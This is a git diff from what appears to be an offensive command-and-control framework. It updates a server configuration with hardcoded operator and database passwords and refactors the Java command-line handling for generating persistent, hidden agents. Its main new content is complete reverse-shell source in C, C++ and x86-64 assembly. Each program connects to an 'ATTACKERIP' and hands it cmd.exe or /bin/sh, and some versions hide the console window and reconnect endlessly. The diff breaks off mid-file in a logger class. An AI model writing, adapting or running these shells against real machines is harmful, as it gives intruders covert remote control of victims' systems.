+cert.ca.dn.cn = R4VEN +cert.ca.dn.o = Emperor Security +cert.ca.dn.ou = Emp3ror +cert.ca.dn.l = DeepInTheSys +cert.ca.dn.st = Los Angeles +cert.ca.dn.c = US + +# certificates validity +cert.server.validity.days = 365 +cert.agent.validity.days = 90 +cert.ca.validity.days = 3650 + +# certificates security protocol +# TLSv1.1 | TLSv1.2 | TLSv1.3 +cert.tls.protocol = TLSv1.2 + +# agent handler +agent.connection.timeout = 10000 +agent.command.timeout = 30000 +agent.max.connections = 100 +agent.buffer.size = 8192 + +# logging +# debug level: INFO | DEBUG | VERBOSE | WARN | ERROR +logging.level = INFO +logging.verbose = true +logging.max.entries = 10000 +logging.file = logs/raven.log +logging.file.enabled = true + +# database (teamserver) +# database type : none | postgresql | mongodb +# PostgreSQL : jdbc:postgresql://host:5432/dbname +# MongoDB : mongodb://host:27017 +db.type = sqlite +db.url = jdbc:postgresql://localhost:5432/ravenc2 + +# database +# database backend: +# sqlite = local database (recommended) # postgresql = PostgreSQL server # mongodb = MongoDB server # none = In-memory only -db.type=none +db.type = none # SQLite database path -db.path=Database +db.path = database # PostgreSQL configuration -db.url=jdbc:postgresql://localhost:5432/raven -db.name=raven -db.user=raven -db.password=raven +db.url = jdbc:postgresql://localhost:5432/raven +db.name = R4V3NDB +db.user = R4V3N +db.password = R4V3ND4TABA53S3CUREP45S # MongoDB configuration -db.mongo.uri=mongodb://localhost:27017 -db.mongo.name=raven - -# Agent - -# Command timeout (milliseconds) -agent.command.timeout=120000 - -# Connection timeout (milliseconds) -agent.connection.timeout=10000 - -# Socket read buffer size (bytes) -agent.buffer.size=8192 - -# Logging - -# Log level: -# INFO -# DEBUG -# VERBOSE -# WARN -# ERROR -logging.level=INFO - -# Enable verbose logging -logging.verbose=false - -# Write logs to file -logging.file.enabled=true -logging.file.path=logs/raven.log - -# Maximum log entries stored in memory -logging.max.entries=1000 - -# Operator chat logging -logging.operator.chat=true -logging.operator.chat.limit=500 - -# Command history -logging.command.history=true -logging.command.history.limit=1000 - -# Default Administrator - -# Change these before deployment -admin.username=admin -admin.password=password -admin.role=SUPER \ No newline at end of file +db.mongo.uri = mongodb://localhost:27017 +db.mongo.name = R4V3NDB + +# operator chat logging +logging.operator.chat = true +logging.operator.chat.limit = 500 + +# command history +logging.command.history = true +logging.command.history.limit = 1000 + +# default administrator +# change these before deployment +admin.username = C2OPER4TOR +admin.password = C2S3CUREP455X +admin.role = SUPER diff --git a/shell/shell-2.c b/shell/shell-2.c new file mode 100644 index 0000000..d99ea66 --- /dev/null +++ b/shell/shell-2.c @@ -0,0 +1,118 @@ +#include +#include + +#if defined(_WIN32) || defined(WIN32) + #include + #include + #pragma comment(lib, "ws2_32.lib") + #define CLOSESOCKET closesocket + #define SLEEP(ms) Sleep(ms) + typedef SOCKET SOCKETTYPE; +#else + #include + #include + #include + #include + #define CLOSESOCKET close + #define SLEEP(ms) usleep((ms) * 1000) + typedef int SOCKETTYPE; +#endif + +const char* ATTACKERIP = "127.0.0.1"; +const int ATTACKERPORT = 25000; + +int main() { +#if defined(_WIN32) || defined(WIN32) + HWND hwnd = GetConsoleWindow(); + if (hwnd != NULL) { + ShowWindow(hwnd, SW_HIDE); + } + WSADATA wsaData; + if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) return 1; +#endif + + while (1) { +#if defined(_WIN32) || defined(WIN32) + SOCKETTYPE s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); + if (s == INVALID_SOCKET) { + printf("[!] server seems down. reconnecting...\n"); + SLEEP(5000); + continue; + } + + struct sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons(ATTACKERPORT); + addr.sin_addr.s_addr = inet_addr(ATTACKERIP); + + if (WSAConnect(s, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) { + CLOSESOCKET(s); + printf("[!] server seems down. reconnecting...\n"); + SLEEP(5000); + continue; + } + + printf("[+] connected to %s:%d\n", ATTACKERIP, ATTACKERPORT); + + STARTUPINFO si; + PROCESS_INFORMATION pi; + memset(&si, 0, sizeof(si)); + si.cb = sizeof(si); + si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + si.hStdInput = (HANDLE)s; + si.hStdOutput = (HANDLE)s; + si.hStdError = (HANDLE)s; + + char cmd[] = "cmd.exe"; + if (CreateProcess(NULL, cmd, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { + WaitForSingleObject(pi.hProcess, INFINITE); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + } + CLOSESOCKET(s); +#else + int s = socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) { + printf("[!] server seems down. reconnecting...\n"); + SLEEP(5000); + continue; + } + + struct sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons(ATTACKERPORT); + addr.sin_addr.s_addr = inet_addr(ATTACKERIP); + + if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) { + CLOSESOCKET(s); + printf("[!] server seems down. reconnecting...\n"); + SLEEP(5000); + continue; + } + + printf("[+] connected to %s:%d\n", ATTACKERIP, ATTACKERPORT); + + pid_t pid = fork(); + if (pid == 0) { + dup2(s, 0); + dup2(s, 1); + dup2(s, 2); + execl("/bin/sh", "sh", (char*)NULL); + return 0; + } else if (pid > 0) { + int status; + waitpid(pid, &status, 0); + } + + CLOSESOCKET(s); +#endif + printf("[+] server seems down. reconnecting...\n"); + SLEEP(5000); + } + +#if defined(_WIN32) || defined(WIN32) + WSACleanup(); +#endif + return 0; +} diff --git a/shell/shell-2.cpp b/shell/shell-2.cpp new file mode 100644 index 0000000..ff8b4a5 --- /dev/null +++ b/shell/shell-2.cpp @@ -0,0 +1,118 @@ +#include +#include + +#if defined(_WIN32) || defined(WIN32) + #include + #include + #pragma comment(lib, "ws2_32.lib") + #define CLOSESOCKET closesocket + #define SLEEP(ms) Sleep(ms) + typedef SOCKET SOCKETTYPE; +#else + #include + #include + #include + #include + #define CLOSESOCKET close + #define SLEEP(ms) usleep((ms) * 1000) + typedef int SOCKETTYPE; +#endif + +const char* ATTACKERIP = "127.0.0.1"; +const int ATTACKERPORT = 25000; + +int main() { +#if defined(_WIN32) || defined(WIN32) + HWND hwnd = GetConsoleWindow(); + if (hwnd != NULL) { + ShowWindow(hwnd, SW_HIDE); + } + WSADATA wsaData; + if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) return 1; +#endif + + while (1) { +#if defined(_WIN32) || defined(WIN32) + SOCKETTYPE s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); + if (s == INVALID_SOCKET) { + std::cout << "[!] server seems down. reconnecting..." << std::endl; + SLEEP(5000); + continue; + } + + struct sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons(ATTACKERPORT); + addr.sin_addr.s_addr = inet_addr(ATTACKERIP); + + if (WSAConnect(s, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) { + CLOSESOCKET(s); + std::cout << "[!] server seems down. reconnecting..." << std::endl; + SLEEP(5000); + continue; + } + + std::cout << "[+] connected to " << ATTACKERIP << ":" << ATTACKERPORT << std::endl; + + STARTUPINFO si; + PROCESS_INFORMATION pi; + memset(&si, 0, sizeof(si)); + si.cb = sizeof(si); + si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + si.hStdInput = (HANDLE)s; + si.hStdOutput = (HANDLE)s; + si.hStdError = (HANDLE)s; + + char cmd[] = "cmd.exe"; + if (CreateProcess(NULL, cmd, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { + WaitForSingleObject(pi.hProcess, INFINITE); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + } + CLOSESOCKET(s); +#else + int s = socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) { + std::cout << "[!] server seems down. reconnecting..." << std::endl; + SLEEP(5000); + continue; + } + + struct sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons(ATTACKERPORT); + addr.sin_addr.s_addr = inet_addr(ATTACKERIP); + + if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) { + CLOSESOCKET(s); + std::cout << "[!] server seems down. reconnecting..." << std::endl; + SLEEP(5000); + continue; + } + + std::cout << "[+] connected to " << ATTACKERIP << ":" << ATTACKERPORT << std::endl; + + pid_t pid = fork(); + if (pid == 0) { + dup2(s, 0); + dup2(s, 1); + dup2(s, 2); + execl("/bin/sh", "sh", (char*)NULL); + return 0; + } else if (pid > 0) { + int status; + waitpid(pid, &status, 0); + } + + CLOSESOCKET(s); +#endif + std::cout << "[!] server seems down. reconnecting..." << std::endl; + SLEEP(5000); + } + +#if defined(_WIN32) || defined(WIN32) + WSACleanup(); +#endif + return 0; +} diff --git a/shell/shell.asm b/shell/shell.asm new file mode 100644 index 0000000..1817871 --- /dev/null +++ b/shell/shell.asm @@ -0,0 +1,142 @@ +; ASSEMBLY REVERSE SHELL SCRIPT +; AUTHOR: MatrixTM26 +; TARGET: LINUX x86_64 (ELF64 BIT) +; compile: +; nasm -f elf64 shell.asm -o shell_asm_out.o +; gcc shell_asm_out.o -o shell_asm -no-pie -lc + +section .data + ATTACKERIP db "127.0.0.1", 0 + ATTACKERPORT dw 4444 + binsh db "/bin/sh", 0 + shstr db "sh", 0 + msg_down db "[!] server seems down. reconnecting...", 10, 0 + msg_down_len equ $ - msg_down + msg_connected db "[+] connected to 127.0.0.1:25000", 10, 0 + msg_conn_len equ $ - msg_connected + +section .bss + addr resb 16 + s resd 1 + pid resd 1 + status resd 1 + +section .text + global _start + + extern socket + extern connect + extern close + extern dup2 + extern execl + extern fork + extern waitpid + extern write + extern usleep + extern htons + extern inet_addr + +_start: +.loop: + mov edi, 2 + mov esi, 1 + xor edx, edx + xor eax, eax + call socket + test eax, eax + js .server_down + mov [s], eax + + mov word [addr], 2 + + movzx edi, word [ATTACKERPORT] + xor eax, eax + call htons + mov word [addr+2], ax + + lea rdi, [ATTACKERIP] + xor eax, eax + call inet_addr + mov dword [addr+4], eax + + mov qword [addr+8], 0 + + mov edi, [s] + lea rsi, [addr] + mov edx, 16 + xor eax, eax + call connect + test eax, eax + js .close_and_reconnect + + mov edi, 1 + lea rsi, [msg_connected] + mov edx, msg_conn_len - 1 + xor eax, eax + call write + + xor eax, eax + call fork + mov [pid], eax + test eax, eax + jz .child_process + js .close_and_reconnect + jmp .parent_process + +.child_process: + mov edi, [s] + xor esi, esi + xor eax, eax + call dup2 + + mov edi, [s] + mov esi, 1 + xor eax, eax + call dup2 + + mov edi, [s] + mov esi, 2 + xor eax, eax + call dup2 + + lea rdi, [binsh] + lea rsi, [shstr] + xor rdx, rdx + xor eax, eax + call execl + + mov eax, 60 + mov edi, 1 + syscall + +.parent_process: + mov edi, [pid] + lea rsi, [status] + xor edx, edx + xor eax, eax + call waitpid + + mov edi, [s] + xor eax, eax + call close + + jmp .reconnect_msg + +.close_and_reconnect: + mov edi, [s] + xor eax, eax + call close + +.server_down: +.reconnect_msg: + mov edi, 1 + lea rsi, [msg_down] + mov edx, msg_down_len - 1 + xor eax, eax + call write + + mov edi, 5000000 + xor eax, eax + call usleep + + jmp .loop \ No newline at end of file diff --git a/shell/shell.c b/shell/shell.c new file mode 100644 index 0000000..a0d6e15 --- /dev/null +++ b/shell/shell.c @@ -0,0 +1,83 @@ +#include +#include + +#if defined(_WIN32) || defined(WIN32) + #include + #include + #pragma comment(lib, "ws2_32.lib") + #define CLOSESOCKET closesocket + typedef SOCKET SOCKETTYPE; +#else + #include + #include + #include + #define CLOSESOCKET close + typedef int SOCKETTYPE; +#endif + +const char* ATTACKERIP = "127.0.0.1"; +const int ATTACKERPORT = 4444; + +int main() { +#if defined(_WIN32) || defined(WIN32) + WSADATA wsaData; + if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) return 1; + + SOCKETTYPE s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); + if (s == INVALID_SOCKET) return 1; + + struct sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons(ATTACKERPORT); + addr.sin_addr.s_addr = inet_addr(ATTACKERIP); + + if (WSAConnect(s, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) { + WSACleanup(); + return 1; + } + + printf("Connected to %s:%d\n", ATTACKERIP, ATTACKERPORT); + + STARTUPINFO si; + PROCESS_INFORMATION pi; + memset(&si, 0, sizeof(si)); + si.cb = sizeof(si); + si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; + si.hStdInput = (HANDLE)s; + si.hStdOutput = (HANDLE)s; + si.hStdError = (HANDLE)s; + + char cmd[] = "cmd.exe"; + if (CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { + WaitForSingleObject(pi.hProcess, INFINITE); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + } +#else + int s = socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) return 1; + + struct sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons(ATTACKERPORT); + addr.sin_addr.s_addr = inet_addr(ATTACKERIP); + + if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) return 1; + + printf("Connected to %s:%d\n", ATTACKERIP, ATTACKERPORT); + + dup2(s, 0); + dup2(s, 1); + dup2(s, 2); + + const char* path = "/bin/bash"; + char* args[] = {(char*)path, NULL}; + execve(path, args, NULL); +#endif + + CLOSESOCKET(s); +#if defined(_WIN32) || defined(WIN32) + WSACleanup(); +#endif + return 0; +} diff --git a/shell/shell.cpp b/shell/shell.cpp new file mode 100644 index 0000000..9ddcd5d --- /dev/null +++ b/shell/shell.cpp @@ -0,0 +1,81 @@ +#include +#include + +#if defined(_WIN32) || defined(WIN32) + #include + #include + #pragma comment(lib, "ws2_32.lib") + #define CLOSESOCKET closesocket + typedef SOCKET SOCKETTYPE; +#else + #include + #include + #include + #define CLOSESOCKET close + typedef int SOCKETTYPE; +#endif + +const char* ATTACKERIP = "127.0.0.1"; +const int ATTACKERPORT = 4444; + +int main() { +#if defined(_WIN32) || defined(WIN32) + WSADATA wsaData; + if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) return 1; + + SOCKETTYPE s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); + if (s == INVALID_SOCKET) return 1; + + struct sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons(ATTACKERPORT); + addr.sin_addr.s_addr = inet_addr(ATTACKERIP); + + if (WSAConnect(s, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) { + WSACleanup(); + return 1; + } + + std::cout << "Connected to " << ATTACKERIP << ":" << ATTACKERPORT << std::endl; + + STARTUPINFO si; + PROCESS_INFORMATION pi; + memset(&si, 0, sizeof(si)); + si.cb = sizeof(si); + si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; + si.hStdInput = (HANDLE)s; + si.hStdOutput = (HANDLE)s; + si.hStdError = (HANDLE)s; + + char cmd[] = "cmd.exe"; + if (CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { + WaitForSingleObject(pi.hProcess, INFINITE); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + } +#else + int s = socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) return 1; + + struct sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons(ATTACKERPORT); + addr.sin_addr.s_addr = inet_addr(ATTACKERIP); + + if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) return 1; + + std::cout << "Connected to " << ATTACKERIP << ":" << ATTACKERPORT << std::endl; + + dup2(s, 0); + dup2(s, 1); + dup2(s, 2); + + execl("/bin/sh", "sh", (char*)NULL); +#endif + + CLOSESOCKET(s); +#if defined(_WIN32) || defined(WIN32) + WSACleanup(); +#endif + return 0; +} diff --git a/src/main/java/com/raven/Start.java b/src/main/java/com/raven/Start.java index c712338..fae17eb 100644 --- a/src/main/java/com/raven/Start.java +++ b/src/main/java/com/raven/Start.java @@ -5,11 +5,11 @@ import com.raven.core.db.TeamDatabase.OperatorRole; import com.raven.core.output.Logger; import com.raven.core.server.ListenerMode; -import com.raven.iface.CLI; -import com.raven.iface.GUI; -import com.raven.iface.TeamServer; -import com.raven.iface.WebApp; -import com.raven.iface.banner.TBanner; +import com.raven.interfaces.CLI.CLI; +import com.raven.interfaces.GUI.GUI; +import com.raven.interfaces.APP.WebApp; +import com.raven.interfaces.TeamServer; +import com.raven.interfaces.banner.TBanner; import com.raven.utils.Helper; import com.raven.utils.ServerConfig; import com.raven.utils.SystemHelper; @@ -28,54 +28,54 @@ public static void main(String[] Args) { } private static void ProcessArgs(List Args) { - if (Args.contains("-h") || Args.contains("--help")) { + if (Args.contains("-h") || Args.contains("-help")) { Helper.PrintHelp(); return; } - if (Args.contains("-i") || Args.contains("--init-certs")) { + if (Args.contains("-i") || Args.contains("-init-certs")) { ShowBanner(); - InitCertificates(Helper.Arg(Args, "-s", "--server", Config.GetServerHost())); + InitCertificates(Helper.Arg(Args, "-s", "-server", Config.GetServerHost())); return; } - String GenAgent = Helper.Arg(Args, "-a", "--agent", null); + String GenAgent = Helper.Arg(Args, "-a", "-agent", null); if (GenAgent != null) { ShowBanner(); GenerateAgent(GenAgent, Args); return; } - if (Args.contains("-m") || Args.contains("--multi")) { + if (Args.contains("-m") || Args.contains("-gen-multi")) { ShowBanner(); GenerateMultiAgent(Args); return; } - if (Args.contains("-l") || Args.contains("--list")) { + if (Args.contains("-l") || Args.contains("-list")) { ShowBanner(); ListAgents(); return; } - String Revoke = Helper.Arg(Args, "-r", "--revoke", null); + String Revoke = Helper.Arg(Args, "-r", "-revoke", null); if (Revoke != null) { ShowBanner(); RevokeAgent(Revoke); return; } - if (Args.contains("-AO") || Args.contains("--add-operator")) { + if (Args.contains("-AO") || Args.contains("-add-operator")) { ShowBanner(); HandleAddOperator(Args); return; } - if (Args.contains("-RO") || Args.contains("--remove-operator")) { + if (Args.contains("-RO") || Args.contains("-remove-operator")) { ShowBanner(); HandleRemoveOperator(Args); return; } - if (Args.contains("-OP") || Args.contains("--operator-permission")) { + if (Args.contains("-OP") || Args.contains("-operator-permission")) { ShowBanner(); HandleOperatorPermission(Args); return; @@ -83,18 +83,18 @@ private static void ProcessArgs(List Args) { ShowBanner(); - String Host = Helper.Arg(Args, "-s", "--host", Config.GetServerHost()); - int Port = Helper.ParseInt(Helper.Arg(Args, "-p", "--port", String.valueOf(Config.GetServerPort())), Config.GetServerPort()); + String Host = Helper.Arg(Args, "-s", "-host", Config.GetServerHost()); + int Port = Helper.ParseInt(Helper.Arg(Args, "-p", "-port", String.valueOf(Config.GetServerPort())), Config.GetServerPort()); ListenerMode Mode = ResolveMode(Args); if (Mode.RequiresTls() && !Files.exists(Paths.get(Config.GetKeystorePath()))) { Logger.Error("Keystore not found: " + Config.GetKeystorePath()); - Logger.Warn("Run: java -jar raven.jar -i"); + Logger.Warn("Run: java -jar target/raven-3.0.0.jar -i"); System.exit(1); } String Interface = ResolveInterface(Args); - Logger.Info("Mode: " + Mode.name() + " | Interface: " + Interface.toUpperCase()); + Logger.Info("Mode: " + Mode.name() + " Interface: " + Interface.toUpperCase()); StartInterface(Host, Port, Mode, Interface, Args); } @@ -104,24 +104,24 @@ private static void ShowBanner() { } private static ListenerMode ResolveMode(List Args) { - if (Args.contains("--fmtls") || Args.contains("-F")) return ListenerMode.FMTLS; - if (Args.contains("--mtls") || Args.contains("-T")) return ListenerMode.MTLS; - if (Args.contains("--tls")) return ListenerMode.TLS; - if (Args.contains("--https")) return ListenerMode.HTTPS; - if (Args.contains("--http")) return ListenerMode.HTTP; - if (Args.contains("--raw") || Args.contains("-R")) return ListenerMode.RAW; - if (Args.contains("--multi") || Args.contains("-M")) return ListenerMode.MULTI; + if (Args.contains("-fmtls") || Args.contains("-F")) return ListenerMode.FMTLS; + if (Args.contains("-mtls") || Args.contains("-T")) return ListenerMode.MTLS; + if (Args.contains("-tls")) return ListenerMode.TLS; + if (Args.contains("-https")) return ListenerMode.HTTPS; + if (Args.contains("-http")) return ListenerMode.HTTP; + if (Args.contains("-raw") || Args.contains("-R")) return ListenerMode.RAW; + if (Args.contains("-multi") || Args.contains("-M")) return ListenerMode.MULTI; return ListenerMode.FromString(Config.GetServerMode()); } private static String ResolveInterface(List Args) { - if (Args.contains("--teamclient") || Args.contains("-TC")) return "teamclient"; - if (Args.contains("--teamserver-cli") || Args.contains("-TSC")) return "teamserver-cli"; - if (Args.contains("--teamserver-web") || Args.contains("-TSW")) return "teamserver-web"; - if (Args.contains("--teamserver-gui") || Args.contains("-TSG")) return "teamserver-gui"; - if (Args.contains("--cli-mode") || Args.contains("-C")) return "cli"; - if (Args.contains("--gui-mode") || Args.contains("-G")) return "gui"; - if (Args.contains("--web-mode") || Args.contains("-W")) return "web"; + if (Args.contains("-teamclient") || Args.contains("-TC")) return "teamclient"; + if (Args.contains("-teamserver-cli") || Args.contains("-TSC")) return "teamserver-cli"; + if (Args.contains("-teamserver-web") || Args.contains("-TSW")) return "teamserver-web"; + if (Args.contains("-teamserver-gui") || Args.contains("-TSG")) return "teamserver-gui"; + if (Args.contains("-cli-mode") || Args.contains("-C")) return "cli"; + if (Args.contains("-gui-mode") || Args.contains("-G")) return "gui"; + if (Args.contains("-web-mode") || Args.contains("-W")) return "web"; return Config.GetInterfaceMode(); } @@ -130,15 +130,15 @@ private static void StartInterface(String Host, int Port, ListenerMode Mode, Str switch (Interface) { case "cli" -> new CLI(Config).Run(Host, Port, Mode); case "teamclient" -> { - String TsHost = Helper.Arg(Args, "-ts", "--ts-host", "127.0.0.1"); - int TsPort = Helper.ParseInt(Helper.Arg(Args, "-tp", "--ts-port", String.valueOf(Config.GetTeamServerPort())), Config.GetTeamServerPort()); - new com.raven.iface.TeamClient(Config, TsHost, TsPort).Run(); + String TsHost = Helper.Arg(Args, "-ts", "-teamserver-host", "127.0.0.1"); + int TsPort = Helper.ParseInt(Helper.Arg(Args, "-tp", "-teamserver-port", String.valueOf(Config.GetTeamServerPort())), Config.GetTeamServerPort()); + new com.raven.interfaces.TeamClient(Config, TsHost, TsPort).Run(); } case "teamserver-cli" -> new CLI(Config).RunTeamServer(Host, Port, Mode); case "gui" -> GUI.Launch(Config); case "teamserver-gui" -> GUI.LaunchTeamServer(Config); case "teamserver-web" -> { - int TsPort = Helper.ParseInt(Helper.Arg(Args, "-tp", "--teamserver-port", String.valueOf(Config.GetTeamServerPort())), Config.GetTeamServerPort()); + int TsPort = Helper.ParseInt(Helper.Arg(Args, "-tp", "-teamserver-port", String.valueOf(Config.GetTeamServerPort())), Config.GetTeamServerPort()); new TeamServer(Config, Mode).Run(Config.GetWebHost(), TsPort); Thread.currentThread().join(); } @@ -160,7 +160,7 @@ private static void InitCertificates(String Host) { CertificateManager Mgr = new CertificateManager(Config); Mgr.Initialize(Host); Logger.Success("Certificates stored in: " + Paths.get(Config.GetKeystorePath()).getParent()); - Logger.Info("Next: java -jar raven.jar -a "); + Logger.Info("Next: java -jar target/raven-3.0.0.jar -a "); } catch (Exception E) { Logger.Error("Certificate init failed: " + E.getMessage()); } @@ -169,12 +169,12 @@ private static void InitCertificates(String Host) { private static void GenerateAgent(String AgentId, List Args) { try { AssertCaExists(); - String Host = Helper.Arg(Args, "-ah", "--agent-host", Config.GetServerHost()); - int Port = Helper.ParseInt(Helper.Arg(Args, "-ap", "--agent-port", String.valueOf(Config.GetServerPort())), Config.GetServerPort()); - boolean Mtls = Args.contains("-am") || Args.contains("--agent-mtls"); - boolean Pers = Args.contains("-ps") || Args.contains("--persistent"); - boolean Hide = Args.contains("-hc") || Args.contains("--hide-console"); - String Lang = Helper.Arg(Args, "-al", "--agent-lang", "java"); + String Host = Helper.Arg(Args, "-ah", "-agent-host", Config.GetServerHost()); + int Port = Helper.ParseInt(Helper.Arg(Args, "-ap", "-agent-port", String.valueOf(Config.GetServerPort())), Config.GetServerPort()); + boolean Mtls = Args.contains("-am") || Args.contains("-agent-mtls"); + boolean Pers = Args.contains("-ps") || Args.contains("-persistent"); + boolean Hide = Args.contains("-hc") || Args.contains("-hide-console"); + String Lang = Helper.Arg(Args, "-al", "-agent-lang", "java"); CertificateManager Mgr = new CertificateManager(Config); Mgr.Initialize(Host); DeployAgent(AgentId, Mgr.CreateAgentCertificate(AgentId), Host, Port, Mtls, Pers, Hide, Lang); @@ -184,8 +184,8 @@ private static void GenerateAgent(String AgentId, List Args) { } private static void GenerateMultiAgent(List Args) { - int Count = Helper.ParseInt(Helper.Arg(Args, "-c", "--count", "10"), 10); - String Prefix = Helper.Arg(Args, "-u", "--prefix", "agent"); + int Count = Helper.ParseInt(Helper.Arg(Args, "-c", "-count", "10"), 10); + String Prefix = Helper.Arg(Args, "-u", "-prefix", "agent"); Logger.Info("Generating " + Count + " agents — prefix: " + Prefix); int Ok = 0; for (int I = 1; I <= Count; I++) { @@ -247,7 +247,7 @@ private static void DeployAgent(String Id, String CertPath, String Host, int Por W.println("Lang : " + LangNorm.toUpperCase()); W.println("Files : agent.p12 ca.p12 " + com.raven.utils.AgentSourceGen.Filename(LangNorm)); W.println(); - W.println("--- HOW TO RUN ---"); + W.println("-- HOW TO RUN --"); switch (LangNorm) { case "java" -> { W.println(" javac " + com.raven.utils.AgentSourceGen.Filename(LangNorm)); @@ -269,11 +269,11 @@ private static void DeployAgent(String Id, String CertPath, String Host, int Por } private static void HandleAddOperator(List Args) { - String User = Helper.Arg(Args, "-u", "--username", null); - String Pass = Helper.Arg(Args, "-pw", "--password", null); - String Role = Helper.Arg(Args, "-r", "--role", "OPERATOR"); + String User = Helper.Arg(Args, "-u", "-username", null); + String Pass = Helper.Arg(Args, "-pw", "-password", null); + String Role = Helper.Arg(Args, "-r", "-role", "OPERATOR"); if (User == null || Pass == null) { - Logger.Error("Usage: -AO | --add-operator -u | --username -pw | --password [-r | --role ROLE]"); + Logger.Error("Usage: -AO | -add-operator -u | -username -pw | -password [-r | -role ROLE]"); return; } if (Pass.length() < 8) { @@ -288,9 +288,9 @@ private static void HandleAddOperator(List Args) { } private static void HandleRemoveOperator(List Args) { - String User = Helper.Arg(Args, "-u", "--username", null); + String User = Helper.Arg(Args, "-u", "-username", null); if (User == null) { - Logger.Error("Usage: -RO | --remove-operator -u | --username "); + Logger.Error("Usage: -RO | -remove-operator -u | -username "); return; } if (User.equals("admin")) { @@ -304,15 +304,15 @@ private static void HandleRemoveOperator(List Args) { } private static void HandleOperatorPermission(List Args) { - String User = Helper.Arg(Args, "-u", "--username", null); - String Role = Helper.Arg(Args, "-r", "--role", null); + String User = Helper.Arg(Args, "-u", "-username", null); + String Role = Helper.Arg(Args, "-r", "-role", null); if (User == null && Role == null) { Logger.Info("Available roles:"); for (OperatorRole R : OperatorRole.values()) Logger.Info(" " + R.name() + " — " + R.PermissionString()); return; } if (User == null || Role == null) { - Logger.Error("Usage: -OP | --operator-permission -u | --username -r | --role "); + Logger.Error("Usage: -OP | -operator-permission -u | -username -r | -role "); return; } if (User.equals("admin")) { @@ -329,7 +329,7 @@ private static void HandleOperatorPermission(List Args) { private static void AssertCaExists() { if (!Files.exists(Paths.get(Config.GetCaPath()))) { Logger.Error("CA not found: " + Config.GetCaPath()); - Logger.Warn("Run: java -jar raven.jar -i"); + Logger.Warn("Run: java -jar target/raven-3.0.0.jar -i"); System.exit(1); } } diff --git a/src/main/java/com/raven/core/output/Logger.java b/src/main/java/com/raven/core/output/Logger.java index dde3d34..fa9f2ad 100644 --- a/src/main/java/com/raven/core/output/Logger.java +++ b/src/main/java/com/raven/core/output/Logger.java @@ -15,7 +15,7 @@ public enum Level { DEBUG, INFO, WARN, - ERROR, + ERROR } private static final DateTimeFormatter TimeFmt = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"); @@ -30,7 +30,7 @@ public enum Level { private Logger() {} public static void Configure(String Level, boolean IsVerbose, boolean EnableFile, String FilePath, int MaxEnt) { - CurrentLevel = parseLevel(Level); + CurrentLevel = ParseLevel(Level); Verbose = IsVerbose; FileEnabled = EnableFile; LogFilePath = FilePath; @@ -38,9 +38,9 @@ public static void Configure(String Level, boolean IsVerbose, boolean EnableFile if (EnableFile) StartFileWriter(FilePath); } - private static Level parseLevel(String S) { + private static Level ParseLevel(String LogLevel) { try { - return Level.valueOf(S.toUpperCase()); + return Level.valueOf(LogLevel.toUpperCase()); } catch (Exception E) { return Level.INFO; } @@ -51,12 +51,12 @@ private static void StartFileWriter(String Path) { Files.createDirectories(Paths.get(Path).getParent()); } catch (Exception Ignored) {} WriterThread = new Thread(() -> { - try (BufferedWriter W = new BufferedWriter(new FileWriter(Path, true))) { + try (BufferedWriter StrObject = new BufferedWriter(new FileWriter(Path, true))) { while (!Thread.currentThread().isInterrupted()) { try { - W.write(FileQueue.take()); - W.newLine(); - W.flush(); + StrObject.write(FileQueue.take()); + StrObject.newLine(); + StrObject.flush(); } catch (InterruptedException E) { Thread.currentThread().interrupt(); break; @@ -74,33 +74,33 @@ private static String Timestamp() { return LocalDateTime.now().format(TimeFmt); } - private static void Emit(Level MsgLevel, String PlainTag, String ColorCode, String Msg) { - if (MsgLevel.ordinal() < CurrentLevel.ordinal()) return; - String Ts = Timestamp(); - String PlainLine = " [" + Ts + "] [" + PlainTag + "] " + Msg; - 